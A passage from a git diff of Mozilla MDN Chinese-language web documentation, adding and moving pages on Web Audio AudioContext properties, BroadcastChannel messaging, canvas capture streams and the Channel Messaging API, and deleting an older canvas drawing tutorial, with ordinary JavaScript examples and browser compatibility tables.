Promise-based syntax{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(33.0)}}
Promise-based syntax{{CompatUnknown}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/destination/index.html b/files/zh-cn/web/api/baseaudiocontext/destination/index.html new file mode 100644 index 0000000000..04fdfe8247 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/destination/index.html @@ -0,0 +1,114 @@ +--- +title: AudioContext.destination +slug: Web/API/AudioContext/destination +translation_of: Web/API/BaseAudioContext/destination +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的destination属性返回一个{{ domxref("AudioDestinationNode") }}表示context中所有音频(节点)的最终目标节点,一般是音频渲染设备,比如扬声器。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+gainNode.connect(audioCtx.destination);
+ +

返回值

+ +

An {{ domxref("AudioDestinationNode") }}.

+ +

例子

+ +
+

注意:想要完整的例子,可以去看看MDN Github repo的DEMO,比如panner-node

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillatorNode.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-destination', 'destination')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/listener/index.html b/files/zh-cn/web/api/baseaudiocontext/listener/index.html new file mode 100644 index 0000000000..81b2a730a2 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/listener/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.listener +slug: Web/API/AudioContext/listener +translation_of: Web/API/BaseAudioContext/listener +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的listener属性返回一个{{ domxref("AudioListener") }} 对象,可以用来实现3D音频空间化。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var myListener = audioCtx.listener;
+ +

返回值

+ +

An {{ domxref("AudioListener") }} object.

+ +

例子

+ +
+

注意:想要完整的音频空间化例子,可以查看panner-node DEMO

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+var myListener = audioCtx.listener;
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-listener', 'listener')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html b/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html new file mode 100644 index 0000000000..ee9b3f21c0 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html @@ -0,0 +1,101 @@ +--- +title: AudioContext.onstatechange +slug: Web/API/AudioContext/onstatechange +translation_of: Web/API/BaseAudioContext/onstatechange +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的onstatechange属性定义了一个事件处理器函数,触发{{Event("statechange")}}会被调用,也就是说audio context的状态发生变化时会执行。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+audioCtx.onstatechange = function() { ... };
+ +

例子

+ +

下面这段代码是AudioContext states DEMO (直接运行)中的,其中onstatechange处理器会在每次当前{{domxref("state")}}发生变化时把它输出到控制台。

+ +
audioCtx.onstatechange = function() {
+  console.log(audioCtx.state);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-onstatechange', 'onstatechange')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html b/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html new file mode 100644 index 0000000000..b811702e26 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/samplerate/index.html @@ -0,0 +1,112 @@ +--- +title: AudioContext.sampleRate +slug: Web/API/AudioContext/sampleRate +translation_of: Web/API/BaseAudioContext/sampleRate +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的sampleRate属性返回一个浮点数表示采样率(每秒采样数), 同一个AudioContext中的所有节点采样率相同,所以不支持采样率转换。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var mySampleRate = audioCtx.sampleRate;
+ +

返回值

+ +

A floating point number.

+ +

例子

+ +
+

注意:想要完整的Web Audio实例,可以查看MDN Github repo上的Web Audio Demo,比如panner-node。不妨试试在浏览器控制台输入audioCtx.sampleRate

+
+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.sampleRate);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-sampleRate', 'sampleRate')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/state/index.html b/files/zh-cn/web/api/baseaudiocontext/state/index.html new file mode 100644 index 0000000000..97876f5d3d --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/state/index.html @@ -0,0 +1,111 @@ +--- +title: AudioContext.state +slug: Web/API/AudioContext/state +translation_of: Web/API/BaseAudioContext/state +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的state属性是只读的,返回AudioContext的当前状态。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var myState = audioCtx.state;
+ +

返回值

+ +

{{domxref("DOMString")}},可能的值如下:

+ + + +

例子

+ +

下面这段代码是AudioContext states demo (直接运行)中的,其中{{domxref("AudioContext.onstatechange")}}处理器会在每次当前状态发生变化时把它输出到控制台。

+ +
audioCtx.onstatechange = function() {
+  console.log(audioCtx.state);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-state', 'state')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/message_event/index.html b/files/zh-cn/web/api/broadcastchannel/message_event/index.html new file mode 100644 index 0000000000..ccbd2d9859 --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/message_event/index.html @@ -0,0 +1,167 @@ +--- +title: 'BroadcastChannel: message event' +slug: Web/Events/message +tags: + - 事件 + - 消息 + - 通信 +translation_of: Web/API/BroadcastChannel/message_event +--- +
{{APIRef}}
+ +

当频道收到一条消息时,会在关联的 {{domxref('BroadcastChannel')}} 对象上触发 message 事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("MessageEvent")}}
Event handler propertyonmessage
+ +

示例

+ +

实时示例

+ +

在这个例子中,有一个 <iframe> 作为发送者,当用户点击按钮之后,会广播 <textarea> 中的内容。同时,有两个 <iframe> 作为接收者,会监听广播的消息,并将结果写入 <div> 元素。

+ +

发送者

+ + + +
const channel = new BroadcastChannel('example-channel');
+const messageControl = document.querySelector('#message');
+const broadcastMessageButton = document.querySelector('#broadcast-message');
+
+broadcastMessageButton.addEventListener('click', () => {
+    channel.postMessage(messageControl.value);
+})
+
+ +

接收者 1

+ + + +
const channel = new BroadcastChannel('example-channel');
+channel.addEventListener('message', (event) => {
+  received.textContent = event.data;
+});
+ +

接收者 2

+ + + +
const channel = new BroadcastChannel('example-channel');
+channel.addEventListener('message', (event) => {
+  received.textContent = event.data;
+});
+ +

结果

+ +

{{ EmbedLiveSample('发送者', '100%', '170px','' ,'' , 'dummy') }}

+ +

{{ EmbedLiveSample('接收者_1', '100%', '150px','' ,'' , 'dummy') }}

+ +

{{ EmbedLiveSample('接收者_2', '100%', '150px','' ,'' , 'dummy') }}

+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('HTML WHATWG', 'indices.html#event-message')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel.message_event")}}

+ +

相关信息

+ + diff --git a/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html b/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html deleted file mode 100644 index 3cef2b94e8..0000000000 --- a/files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: Drawing graphics with canvas -slug: Web/API/Canvas_API/Drawing_graphics_with_canvas -translation_of: Web/API/Canvas_API/Tutorial -translation_of_original: Web/API/Canvas_API/Drawing_graphics_with_canvas ---- -
-

本文大部分(但不包括关于绘制窗体部分的文档)已经被包含到更详尽的Canvas教程中,该页面因为现在已经显得多余可能会被链接到那里,但是某些信息可能仍然是十分有用的。

-

 

-
-

Introduction

-

With Firefox 1.5, Firefox includes a new HTML element for programmable graphics. <canvas> is based on the WHATWG canvas specification, which itself is based on Apple's <canvas> implemented in Safari. It can be used for rendering graphs, UI elements, and other custom graphics on the client.

-

<canvas> creates a fixed size drawing surface that exposes one or more rendering contexts. We'll focus on the 2D rendering context. For 3D graphics, you should use the WebGL rendering context.

-

The 2D Rendering Context

-

A Simple Example

-

To start off, here's a simple example that draws two intersecting rectangles, one of which has alpha transparency:

-
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  ctx.fillStyle = "rgb(200,0,0)";
-  ctx.fillRect (10, 10, 55, 50);
-
-  ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
-  ctx.fillRect (30, 30, 55, 50);
-}
-
- -

{{EmbedLiveSample('A_Simple_Example','150','150','/@api/deki/files/602/=Canvas_ex1.png')}}

-

The draw function gets the canvas element, then obtains the 2d context. The ctx object can then be used to actually render to the canvas. The example simply fills two rectangles, by setting fillStyle to two different colors using CSS color specifications and calling fillRect. The second fillStyle uses rgba() to specify an alpha value along with the color.

-

The fillRect, strokeRect, and clearRect calls render a filled, outlined, or clear rectangle. To render more complex shapes, paths are used.

-

Using Paths

-

The beginPath function starts a new path, and moveTo, lineTo, arcTo, arc, and similar methods are used to add segments to the path. The path can be closed using closePath. Once a path is created, you can use fill or stroke to render the path to the canvas.

-
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  ctx.fillStyle = "red";
-
-  ctx.beginPath();
-  ctx.moveTo(30, 30);
-  ctx.lineTo(150, 150);
-  // was: ctx.quadraticCurveTo(60, 70, 70, 150); which is wrong.
-  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150); // <- this is right formula for the image on the right ->
-  ctx.lineTo(30, 30);
-  ctx.fill();
-}
-
- -

{{EmbedLiveSample('Using_Paths','190','190','/@api/deki/files/603/=Canvas_ex2.png')}}

-

Calling fill() or stroke() causes the current path to be used. To be filled or stroked again, the path must be recreated.

-

Graphics State

-

Attributes of the context such as fillStyle, strokeStyle, lineWidth, and lineJoin are part of the current graphics state. The context provides two methods, save() and restore(), that can be used to move the current state to and from the state stack.

-

A More Complicated Example

-

Here's a little more complicated example, that uses paths, state, and also introduces the current transformation matrix. The context methods translate(), scale(), and rotate() all transform the current matrix. All rendered points are first transformed by this matrix.

-
function drawBowtie(ctx, fillStyle) {
-
-  ctx.fillStyle = "rgba(200,200,200,0.3)";
-  ctx.fillRect(-30, -30, 60, 60);
-
-  ctx.fillStyle = fillStyle;
-  ctx.globalAlpha = 1.0;
-  ctx.beginPath();
-  ctx.moveTo(25, 25);
-  ctx.lineTo(-25, -25);
-  ctx.lineTo(25, -25);
-  ctx.lineTo(-25, 25);
-  ctx.closePath();
-  ctx.fill();
-}
-
-function dot(ctx) {
-  ctx.save();
-  ctx.fillStyle = "yellow";
-  ctx.fillRect(-2, -2, 4, 4);
-  ctx.restore();
-}
-
-function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  // note that all other translates are relative to this one
-  ctx.translate(45, 45);
-
-  ctx.save();
-  //ctx.translate(0, 0); // unnecessary
-  drawBowtie(ctx, "red");
-  dot(ctx);
-  ctx.restore();
-
-  ctx.save();
-  ctx.translate(85, 0);
-  ctx.rotate(45 * Math.PI / 180);
-  drawBowtie(ctx, "green");
-  dot(ctx);
-  ctx.restore();
-
-  ctx.save();
-  ctx.translate(0, 85);
-  ctx.rotate(135 * Math.PI / 180);
-  drawBowtie(ctx, "blue");
-  dot(ctx);
-  ctx.restore();
-
-  ctx.save();
-  ctx.translate(85, 85);
-  ctx.rotate(90 * Math.PI / 180);
-  drawBowtie(ctx, "yellow");
-  dot(ctx);
-  ctx.restore();
-}
-
- -

{{EmbedLiveSample('A_More_Complicated_Example','215','215','/@api/deki/files/604/=Canvas_ex3.png')}}

-

This defines two methods, drawBowtie and dot, that are called 4 times. Before each call, translate() and rotate() are used to set up the current transformation matrix, which in turn positions the dot and the bowtie. dot renders a small black square centered at (0, 0). That dot is moved around by the transformation matrix. drawBowtie renders a simple bowtie path using the passed-in fill style.

-

As matrix operations are cumulative, save() and restore() are used around each set of calls to restore the original canvas state. One thing to watch out for is that rotation always occurs around the current origin; thus a translate() rotate() translate() sequence will yield different results than a translate() translate() rotate() series of calls.

-

Compatibility With Apple <canvas>

-

For the most part, <canvas> is compatible with Apple's and other implementations. There are, however, a few issues to be aware of, described here.

-

Required </canvas> tag

-

In the Apple Safari implementation, <canvas> is an element implemented in much the same way <img> is; it does not have an end tag. However, for <canvas> to have widespread use on the web, some facility for fallback content must be provided. Therefore, Mozilla's implementation has a required end tag.

-

If fallback content is not needed, a simple <canvas id="foo" ...></canvas> will be fully compatible with both Safari and Mozilla -- Safari will simply ignore the end tag.

-

If fallback content is desired, some CSS tricks must be employed to mask the fallback content from Safari (which should render just the canvas), and also to mask the CSS tricks themselves from IE (which should render the fallback content).

-
canvas {
-  font-size: 0.00001px !ie;
-}
-

Additional Features

-

Rendering Web Content Into A Canvas

-
- This feature is only available for code running with Chrome privileges. It is not allowed in normal HTML pages. Read why.
-

Mozilla's canvas is extended with the drawWindow() method. This method draws a snapshot of the contents of a DOM window into the canvas. For example,

-
ctx.drawWindow(window, 0, 0, 100, 200, "rgb(255,255,255)");
-
-

would draw the contents of the current window, in the rectangle (0,0,100,200) in pixels relative to the top-left of the viewport, on a white background, into the canvas. By specifying "rgba(255,255,255,0)" as the color, the contents would be drawn with a transparent background (which would be slower).

-

It is usually a bad idea to use any background other than pure white "rgb(255,255,255)" or transparent, as this is what all browsers do, and many websites expect that transparent parts of their interface will be drawn on white background.

-

With this method, it is possible to fill a hidden IFRAME with arbitrary content (e.g., CSS-styled HTML text, or SVG) and draw it into a canvas. It will be scaled, rotated and so on according to the current transformation.

-

Ted Mielczarek's tab preview extension uses this technique in chrome to provide thumbnails of web pages, and the source is available for reference.

-
- Note: Using canvas.drawWindow() while handling a document's onload event doesn't work. In Firefox 3.5 or later, you can do this in a handler for the MozAfterPaint event to successfully draw HTML content into a canvas on page load.
-

See also

- diff --git a/files/zh-cn/web/api/canvascapturemediastream/index.html b/files/zh-cn/web/api/canvascapturemediastream/index.html deleted file mode 100644 index 1a71e7d834..0000000000 --- a/files/zh-cn/web/api/canvascapturemediastream/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: CanvasCaptureMediaStream -slug: Web/API/CanvasCaptureMediaStream -translation_of: Web/API/CanvasCaptureMediaStreamTrack ---- -
{{APIRef}}{{SeeCompatTable}}
- -

CanvasCaptureMediaStream 接口表示 {{domxref("MediaStream")}} 对 {{domxref("HTMLCanvasElement")}} 元素进行实时画面捕捉的内容。

- -

属性

- -

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的属性。

- -
-
{{domxref("CanvasCaptureMediaStream.canvas")}} {{readonlyInline}}
-
可返回当前媒体流所对应的 {{domxref("HTMLCanvasElement")}} 元素对象。
-
- -

方法

- -

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的方法。

- -
-
{{domxref("CanvasCaptureMediaStream.requestFrame()")}}
-
手动获取媒体流的一帧。 可以捕捉部分渲染帧画面.
-
- -

说明

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#idl-def-CanvasCaptureMediaStream', 'CanvasCaptureMediaStream')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Disabled by default; set the preference canvas.capturestream.enabled to true to activate.

- -

其他参考资料

- - diff --git a/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html b/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html new file mode 100644 index 0000000000..1a71e7d834 --- /dev/null +++ b/files/zh-cn/web/api/canvascapturemediastreamtrack/index.html @@ -0,0 +1,103 @@ +--- +title: CanvasCaptureMediaStream +slug: Web/API/CanvasCaptureMediaStream +translation_of: Web/API/CanvasCaptureMediaStreamTrack +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

CanvasCaptureMediaStream 接口表示 {{domxref("MediaStream")}} 对 {{domxref("HTMLCanvasElement")}} 元素进行实时画面捕捉的内容。

+ +

属性

+ +

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的属性。

+ +
+
{{domxref("CanvasCaptureMediaStream.canvas")}} {{readonlyInline}}
+
可返回当前媒体流所对应的 {{domxref("HTMLCanvasElement")}} 元素对象。
+
+ +

方法

+ +

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的方法。

+ +
+
{{domxref("CanvasCaptureMediaStream.requestFrame()")}}
+
手动获取媒体流的一帧。 可以捕捉部分渲染帧画面.
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#idl-def-CanvasCaptureMediaStream', 'CanvasCaptureMediaStream')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Disabled by default; set the preference canvas.capturestream.enabled to true to activate.

+ +

其他参考资料

+ + diff --git a/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html b/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html new file mode 100644 index 0000000000..8ddfa8df8e --- /dev/null +++ b/files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html @@ -0,0 +1,179 @@ +--- +title: 使用 channel messaging +slug: Web/API/Channel_Messaging_API/使用_channel_messaging +tags: + - API + - Channel messaging + - HTML5 + - MessageChannel + - MessagePort + - 指南 +translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging +--- +

{{DefaultAPISidebar("Channel Messaging API")}}

+ +

Channel Messaging API 可以让运行在不同浏览器上下文中的独立脚本,连接到同一份文档(比如:两个 IFrame, 或者主文档和一个 IFrame, 或者使用同一个 {{domxref("SharedWorker")}} 的两份文档),并直接通信,通过每端一个 port 的双向频道(或管道)在两者之间传递消息。

+ +

在文本中,我们将探索这项技术的基本用法。

+ +

{{AvailableInWorkers}}

+ +

用例

+ +

Channel messaging 在这样的场景中特别有用:假如你有一个社交站点,它在主界面中通过 IFrame 内嵌了来自其他站点的内容,比如游戏,通讯录或者一个音乐播放器,有着个性化的音乐选择。当这些内容作为独立的单元时,一切都是 OK 的,但是当你想在主站点和 IFrame, 或者在不同的 IFrame 中交互时,困难就出现了。举例来说,假如你想从主站点向通讯录里添加一个联系人;或者想从游戏里,把最高分加入到个人资料;又或者,希望从音频播放器里,添加新的背景音乐到游戏中?因为浏览器使用的安全模型,使用传统的 web 技术来做这些事并不容易。你必须去考虑不同的源之间彼此是否信任,以及如何传递消息。

+ +

换个角度说,Message Channels 可以提供一个安全的通道让你在不同的浏览器上下文间传递数据。

+ +
+

提示: 要了解更多信息和思考,规范的 Ports 作为 Web 上一个对象兼容模型的基础 章节值得一读。

+
+ +

简单的例子

+ +

为了帮助你开始,我们在 Github 上传了一些 demo. 一开始可以先看我们的 channel messaging 基本示例 (也可以在线运行),它展示了一个非常简单的消息传递,发生在页面和内嵌 {{htmlelement("iframe")}} 之间。 

+ +

然后,看看我们的 multimessaging demo (在线运行),它展示了一个稍微复杂一点的例子,可以在主页面和 IFrame 之间发送多条消息。

+ +

本文中,我们重点说后面的这个例子。它看起来像是这样:

+ +

+ +

创建 channel

+ +

在例子的主页面,我们有一个简单的表单,内含一个文本输入框,用来输入要发送到 {{htmlelement("iframe")}} 的消息。我们还有一个段落,我们在稍后将会用它来显示 {{htmlelement("iframe")}} 回传回来的确认消息。

+ +
var input = document.getElementById('message-input');
+var output = document.getElementById('message-output');
+var button = document.querySelector('button');
+var iframe = document.querySelector('iframe');
+
+var channel = new MessageChannel();
+var port1 = channel.port1;
+
+// 等待 iframe 加载
+iframe.addEventListener("load", onLoad);
+
+function onLoad() {
+  // 监听按钮点击
+  button.addEventListener('click', onClick);
+
+  // 在 port1 监听消息
+  port1.onmessage = onMessage;
+
+  // 把 port2 传给 iframe
+  iframe.contentWindow.postMessage('init', '*', [channel.port2]);
+}
+
+// 当按钮点击时,在 port1 上发送一个消息
+function onClick(e) {
+  e.preventDefault();
+  port1.postMessage(input.value);
+}
+
+// 处理 port1 收到的消息
+function onMessage(e) {
+  output.innerHTML = e.data;
+  input.value = '';
+}
+ +

我们从使用 {{domxref( "MessageChannel.MessageChannel","MessageChannel()")}} 构造函数创建了一个 message channel 开始。

+ +

当 IFrame 加载完成,我们在按钮上注册了onclick 事件处理函数,在 {{domxref("MessageChannel.port1")}} 注册了 onmessage 事件处理函数。最后,我们使用 {{domxref("window.postMessage")}} 方法把 {{domxref("MessageChannel.port2")}} 传给 IFrame.

+ +

让我们来了解一下 iframe.contentWindow.postMessage 更多的工作细节。它接受三个参数:

+ +
    +
  1. 被发送的消息。对于一开始的 port 传递,这个消息可以是个空字符串,但是在例子里,我们传了 'init'.
  2. +
  3. 消息将被发送到的源(origin)。 * 意思是 "任何源".
  4. +
  5. 一个对象,它的所有权会被传给接受的浏览器上下文。在本例中,我们把 {{domxref("MessageChannel.port2")}} 传给了 IFrame, 然后它就可以用于与主页面通信了。
  6. +
+ +

当我们的按钮被点击时,我们阻止了默认的表单提交,然后把输入到输入框里的内容通过 {{domxref("MessageChannel")}} 发送给 IFrame.

+ +

在 IFrame 里接收 port 和消息

+ +

在 IFrame 里,我们有下面的 JavaScript:

+ +
var list = document.querySelector('ul');
+var port2;
+
+// 监听初始的 port 传递消息
+window.addEventListener('message', initPort);
+
+// 设置传过来的 port
+function initPort(e) {
+  port2 = e.ports[0];
+  port2.onmessage = onMessage;
+}
+
+// 处理 port2 收到的消息
+function onMessage(e) {
+  var listItem = document.createElement('li');
+  listItem.textContent = e.data;
+  list.appendChild(listItem);
+  port2.postMessage('Message received by IFrame: "' + e.data + '"');
+}
+
+ +

当收到从主页面通过 {{domxref("window.postMessage")}} 方法传来的初始化消息时,我们运行 initPort 函数。它会保存传来的 port, 并且注册了一个 onmessage 事件处理器,每当有消息通过我们的 {{domxref("MessageChannel")}} 传来时,它都会被调用。

+ +

当收到从主页面发来的消息时,我们创建一个列表项,并把它插入到这个无序列表中,然后把这个列表项的 {{domxref("Node.textContent","textContent")}} 设置为事件的 data 属性(里面包含真正的消息)。

+ +

然后,我们通过在初始化时传到 IFrame 的 {{domxref("MessageChannel.port2")}} 上调用 {{domxref("MessagePort.postMessage")}} 来使用 message channel 发送一个确认消息给主页面。

+ +

在主页面中接收确认消息

+ +

回到主页面,我们来一起看看 onmessage 事件处理函数。

+ +
// 处理 port1 上收到的消息
+function onMessage(e) {
+  output.innerHTML = e.data;
+  input.value = '';
+}
+ +

当收到从 IFrame 发来的确认消息,说明原始消息被成功接收时,它把确认消息输出到段落中,并清空输入框,为输入下一个要被发送的消息做准备。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
+

MessageChannel

+ +
+ + +

{{Compat("api.MessageChannel", 0)}}

+ +

MessagePort

+ +
+ + +

{{Compat("api.MessagePort", 0)}}

+
+
+
+ +

参见

